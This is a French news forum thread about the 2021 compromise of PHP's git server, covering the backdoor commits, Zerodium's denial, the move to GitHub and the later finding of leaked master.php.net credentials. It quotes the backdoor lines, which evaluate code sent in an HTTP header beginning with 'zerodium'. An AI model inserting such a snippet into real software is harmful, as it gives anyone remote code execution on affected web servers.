Discussion :

[Stéphane le calme]

Des hackers détournent le code source de PHP après s'être infiltrés dans le serveur git interne.
Le code donnait des pouvoirs d'exécution de code à quiconque connaissait le mot de passe secret : «zerodium».

Un pirate informatique a compromis le serveur utilisé pour distribuer le langage de programmation PHP et a ajouté une porte dérobée au code source qui aurait rendu les sites Web vulnérables à une prise de contrôle complète, ont déclaré des membres du projet open source. Deux mises à jour transmises au serveur PHP Git au cours du week-end ont ajouté une ligne qui, si elle était exécutée par un site Web alimenté par cette version détournée de PHP, aurait permis aux visiteurs sans autorisation d'exécuter le code de leur choix. Les commits malveillants ont donné au code la capacité d'injection de code aux visiteurs qui avaient le mot «zerodium» dans un en-tête HTTP.

Les commits ont été effectués dans le repo php-src sous les noms de compte de deux développeurs PHP bien connus, Rasmus Lerdorf et Nikita Popov. Ce dernier a indiqué dans un billet :

« Hier (2021-03-28), deux commits malveillants ont été poussés vers le repo php-src à partir des noms de Rasmus Lerdorf et moi-même. Nous ne savons pas encore exactement comment cela s'est passé, mais tout indique une compromission du serveur git.php.net (plutôt qu'une compromission d'un compte git individuel).

« Alors que l'enquête est toujours en cours, nous avons décidé que le maintien de notre propre infrastructure git est un risque de sécurité inutile, et que nous arrêterons le serveur git.php.net. Au lieu de cela, les référentiels sur GitHub, qui n'étaient auparavant que des miroirs, deviendront canoniques. Cela signifie que les modifications doivent être transmises directement à GitHub plutôt qu'à git.php.net.

« Alors qu'auparavant l'accès en écriture aux référentiels était géré via notre système de karma local, vous devrez maintenant faire partie de l'organisation php sur GitHub. Si vous ne faites pas encore partie de l'organisation, ou n'avez pas accès à un référentiel auquel vous devriez avoir accès, contactez-moi à nikic@php.net avec vos noms de compte php.net et GitHub, ainsi que des autorisations qui vous manque actuellement. L'adhésion à l'organisation nécessite l'activation de 2FA.

« Ce changement signifie également qu'il est désormais possible de fusionner les Pull Request directement à partir de l'interface Web de GitHub.

« Nous examinons les référentiels pour toute corruption au-delà des deux commits référencés. Veuillez contacter security@php.net si vous remarquez quelque chose. »

Suite à la compromission, Popov a expliqué que les responsables de PHP avaient conclu que leur infrastructure Git autonome représentait un risque de sécurité inutile. En conséquence, ils arrêteront le serveur git.php.net et feront de GitHub la source officielle des dépôts PHP. À l'avenir, toutes les modifications du code source PHP seront effectuées directement sur GitHub plutôt que sur git.php.net.

Les changements malveillants ont été portés à l'attention du public dimanche par des développeurs tels que Markus Staab, Jake Birchallf et Michael Voříšek alors qu'ils examinaient un commit samedi. La mise à jour, qui visait à corriger une faute de frappe, a été effectuée sous un compte utilisant le nom de Lerdorf. Peu de temps après la première découverte, Voříšek a repéré le deuxième commit malveillant, qui a été effectué sous le nom de compte de Popov. Il prétendait revenir sur le correctif de faute de frappe précédent.

Les deux commits ont ajouté les mêmes lignes de code:

Code C :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
convert_to_string(enc);
	if (strstr(Z_STRVAL_P(enc), "zerodium")) {
		zend_try {
			zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");

Zerodium est un courtier qui achète des exploits aux chercheurs et les vend à des agences gouvernementales pour une utilisation dans des enquêtes ou à d'autres fins. La raison pour laquelle les commits ont référencé Zerodium n'est pas claire. Le PDG de la société, Chaouki Bekrar, a déclaré lundi sur Twitter que Zerodium n’était pas impliqué :

« Bravo au troll qui a mis ‘Zerodium’ dans les commits PHP git compromis d’aujourd’hui », a-t-il écrit. « De toute évidence, nous n'avons rien à voir avec cela. Probablement, le ou les chercheurs qui ont trouvé ce bogue / exploit ont essayé de le vendre à de nombreuses entités, mais aucun ne voulait acheter cette merde, alors ils l'ont brûlé pour le plaisir ».

Avant la compromission, le groupe PHP gérait tous les accès en écriture au référentiel sur son propre serveur git http://git.php.net/ en utilisant ce que Popov appelait un système « maison » appelé Karma. Il a fourni aux développeurs différents niveaux de privilèges d'accès en fonction des contributions précédentes. GitHub, quant à lui, avait été un référentiel miroir.

Désormais, le groupe PHP abandonne l'infrastructure git autohébergée et gérée et la remplace par GitHub. Le changement signifie que GitHub est désormais le référentiel « canonique ». Le groupe PHP n'utilisera plus le système Karma. Au lieu de cela, les contributeurs devront faire partie de l'organisation PHP sur GitHub et utiliser l'authentification à deux facteurs pour les comptes avec la possibilité de faire des commits.

L’événement de ce week-end ne marque malheureusement pas la première compromission des serveurs de php.net dans l’intention de lancer une attaque de la chaîne logistique. Début 2019, l'extension PHP et le référentiel d'applications largement utilisés ont temporairement fermé la majeure partie du site après avoir découvert que les pirates ont remplacé le gestionnaire de packages principal par un gestionnaire malveillant. Les développeurs du groupe ont déclaré que quiconque avait téléchargé le gestionnaire de paquets au cours des six derniers mois devrait en obtenir une nouvelle copie.

PHP gère environ 80% des sites Web. Il n'y a aucun rapport de sites Web incorporant les modifications malveillantes dans leurs environnements de production.

Les changements ont probablement été apportés par des personnes qui voulaient se vanter de leur accès non autorisé au serveur PHP Git plutôt que par des personnes qui auraient été motivées par l’intention de disposer de portes dérobées sur des sites Web utilisant PHP, a estimé HD Moore, cofondateur et PDG de la plateforme Rumble.

« On dirait que les attaquants trollent Zerodium ou essaient de donner l'impression que le code a été détourné pendant beaucoup plus longtemps », a-t-il déclaré. « Dans tous les cas, je passerais beaucoup de temps à parcourir les commits précédents si j'avais des intérêts en matière de sécurité dans PHP. »

Commits malveillants (1 et 2)

Sources : liste de diffusion PHP, Zerodium

[denis18]

Il n'y a aucun rapport de sites Web incorporant les modifications malveillantes dans leurs environnements de production :

Et bien maintenant il y en un, et il y en a certainement bien d'autre.

[Stéphane le calme]

Compromission du code PHP : les responsables de PHP blâment désormais une fuite de la base de données utilisateur master.php.net,
plutôt qu'un problème avec le serveur lui-même

Un pirate informatique a compromis le serveur utilisé pour distribuer le langage de programmation PHP et a ajouté une porte dérobée au code source qui aurait rendu les sites Web vulnérables à une prise de contrôle complète, ont déclaré des membres du projet open source. Deux mises à jour transmises au serveur PHP Git au cours du week-end du 27 mars ont ajouté une ligne qui, si elle était exécutée par un site Web alimenté par cette version détournée de PHP, aurait permis aux visiteurs sans autorisation d'exécuter le code de leur choix. Les commits malveillants ont donné au code la capacité d'injection de code aux visiteurs qui avaient le mot « zerodium » dans un en-tête HTTP.

Les commits ont été effectués dans le repo php-src sous les noms de compte de deux développeurs PHP bien connus, Rasmus Lerdorf et Nikita Popov.

Suite à la compromission, Popov a expliqué que les responsables de PHP avaient conclu que leur infrastructure Git autonome représentait un risque de sécurité inutile. En conséquence, ils ont décidé d'arrêter le serveur git.php.net et de faire de GitHub la source officielle des dépôts PHP. À l'avenir, toutes les modifications du code source PHP seront effectuées directement sur GitHub plutôt que sur git.php.net.

Le mainteneur de PHP Nikita Popov a publié une mise à jour concernant la façon dont le code source a été compromis et le code malveillant inséré, blâmant une fuite de base de données utilisateur plutôt qu'un problème avec le serveur lui-même.

L'équipe pensait à l'origine que le serveur hébergeant le référentiel avait subi une effraction, mais dans un nouveau message, Popov a déclaré : « Nous ne pensons plus que le serveur git.php.net a été compromis. Cependant, il est possible que la base de données des utilisateurs master.php.net ait fuité ». Aussi, master.php.net a été migré vers un nouveau système main.php.net.

Voici des détails donnés par Popov sur la progression de l'enquête :

« Lorsque le premier commit malveillant a été fait sous le nom de Rasmus, ma réaction initiale a été d'annuler le changement et de révoquer l'accès de commit pour le compte de Rasmus, en supposant qu'il s'agissait du piratage d’un compte individuel. Rétrospectivement, cette action n'avait pas vraiment de sens, car il n'y avait (à ce moment) aucune raison de croire que le push se produisait à travers le compte de Rasmus en particulier. Tout compte ayant accès au référentiel php-src aurait pu effectuer le push sous un faux nom.

« Lorsque le deuxième commit malveillant a été effectué sous mon propre nom, j'ai examiné les journaux de notre installation gitolite, afin de déterminer quel compte était réellement utilisé pour effectuer le push. Cependant, alors que tous les commits adjacents étaient pris en compte, aucune entrée git-receive-pack pour les deux commits malveillants n'était présente, ce qui signifie que ces deux commits ont complètement contourné l'infrastructure gitolite. Cela a été interprété comme une preuve probable d'une compromission du serveur.

« Peu de temps après, nous avons pris la décision d'arrêter git.php.net et de faire de GitHub notre hôte de référentiel principal à la place. Conserver notre propre infrastructure Git aurait nécessité la configuration d'un nouveau serveur git.php.net après avoir déterminé la cause première de la compromission. Cela prendrait beaucoup de temps et perturberait le développement PHP entre-temps. Une migration de base vers GitHub pourrait être effectuée beaucoup plus rapidement, car la plupart des référentiels y étaient déjà mis en miroir. À ce stade, une grande partie du développement passait déjà par GitHub de toute façon, et notre propre infrastructure Git était principalement un problème de sécurité et une complication pour le flux de travail de développement, donc ce n'était pas une décision difficile de faire le changement.

« Ce que je ne savais pas à ce moment-là, c'est que git.php.net supportait (intentionnellement) les changements de push non seulement via SSH (en utilisant l'infrastructure gitolite et la cryptographie à clé publique), mais aussi via HTTPS. Ce dernier n'utilisait pas gitolite, mais utilisait à la place git-http-backend derrière l'authentification Apache2 Digest par rapport à la base de données utilisateur master.php.net. Je ne sais pas pourquoi l'authentification par mot de passe a été prise en charge en premier lieu, car elle est beaucoup moins sécurisée que l'authentification par clé publique.

« Sur la base des journaux d'accès, nous pouvons déterminer que les validations ont bien été transmises en utilisant HTTPS et l'authentification par mot de passe.

« Il est à noter que l'attaquant ne fait que quelques suppositions sur les noms d'utilisateur et s'authentifie avec succès une fois que le nom d'utilisateur correct a été trouvé. Bien que nous n'ayons aucune preuve spécifique à ce sujet, une explication possible est que la base de données des utilisateurs de master.php.net a fuité, bien que l'on ne sache pas pourquoi l'attaquant aurait besoin de deviner les noms d'utilisateur dans ce cas ».

Les actions qui ont été prises

Les mesures prises à présent incluent la réinitialisation de tous les mots de passe et la modification du code pour utiliser des requêtes paramétrées, afin de se protéger contre les attaques par injection SQL.

L'utilisation de requêtes paramétrées est la meilleure pratique recommandée depuis de nombreuses années, et le fait que du code qui ne le fait pas fonctionne depuis si longtemps au cœur de l'infrastructure de code source PHP montre à quel point un code hérité non sécurisé peut persister pendant de longues périodes dans une organisation si elle fonctionne et ne pose pas de problèmes évidents.

Le système master.php.net, qui est utilisé pour l'authentification et diverses tâches de gestion, exécutait du code très ancien sur un très ancien système d'exploitation / version PHP, donc une sorte de vulnérabilité ne serait pas terriblement surprenante. Les mainteneurs ont apporté un certain nombre de modifications pour augmenter la sécurité de ce système :

• master.php.net a été migré vers un nouveau système (exécutant PHP 8) et renommé main.php.net en même temps. Entre autres choses, le nouveau système prend en charge TLS 1.2, ce qui signifie que vous ne devriez plus voir les avertissements de version TLS lors de l'accès à ce site.
• L'implémentation a été déplacée vers l'utilisation de requêtes paramétrées, pour être plus sûr que les injections SQL ne peuvent pas se produire.
• Les mots de passe sont désormais stockés à l'aide de bcrypt.
• Les mots de passe existants ont été réinitialisés (utilisez main.php.net/forgot.php pour en générer un nouveau).

Popov a expliqué : « auparavant, les mots de passe étaient stockés dans un format compatible avec l'authentification HTTP Digest (essentiellement un simple hachage md5), qui était nécessaire pour l'authentification HTTP sur git.php.net et svn.php.net. Comme git.php.net a été rendu en lecture seule à la suite de cet incident, nous avons décidé de rendre svn.php.net en lecture seule également, et ainsi supprimer le besoin de stocker les mots de passe dans un format non sécurisé. Seule une petite poignée d'extensions PECL utilisaient encore le serveur SVN ».

« Il est probable que certaines choses ne fonctionnent plus pendant la migration », a noté Popov qui a indiqué que tout problème observé devrait lui être signalé.

Source : Nikita Popov